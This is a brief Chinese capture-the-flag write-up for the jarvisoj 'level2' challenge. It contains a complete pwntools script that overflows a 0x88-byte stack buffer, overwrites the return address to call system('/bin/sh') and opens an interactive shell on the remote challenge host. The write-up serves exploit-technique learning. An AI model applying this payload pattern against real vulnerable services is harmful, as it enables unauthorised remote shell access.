思路:存在栈溢出,程序中有 system 函数 和 /bin/sh 字符串,根据函数调用约定,32 位程序函数的参数是放在栈上的,因此可以通过伪造一个调用 system(“/bin/sh”) 的栈结构来 get shell
from pwn import *
#p = process(’./level2’)
p = remote(‘pwn2.jarvisoj.com’,‘9878’)
elf = ELF(’./level2’)
sh_addr = elf.search(’/bin/sh’).next() #在文件搜索/bin/sh 地址
print p32(sh_addr)
system_addr = elf.symbols[‘system’] #读取system地址
print p32(system_addr)
exit_addr = elf.symbols[‘read’] #读取read地址
print p32(exit_addr)
payload = ‘a’ * (0x88 + 0x4) + p32(system_addr) + p32(exit_addr) + p32(sh_addr)
p.send(payload)
p.interactive()
有/bin/sh字符串.
传出输入和读入数据位置
buf长度0x88;
偏移地址为0x4;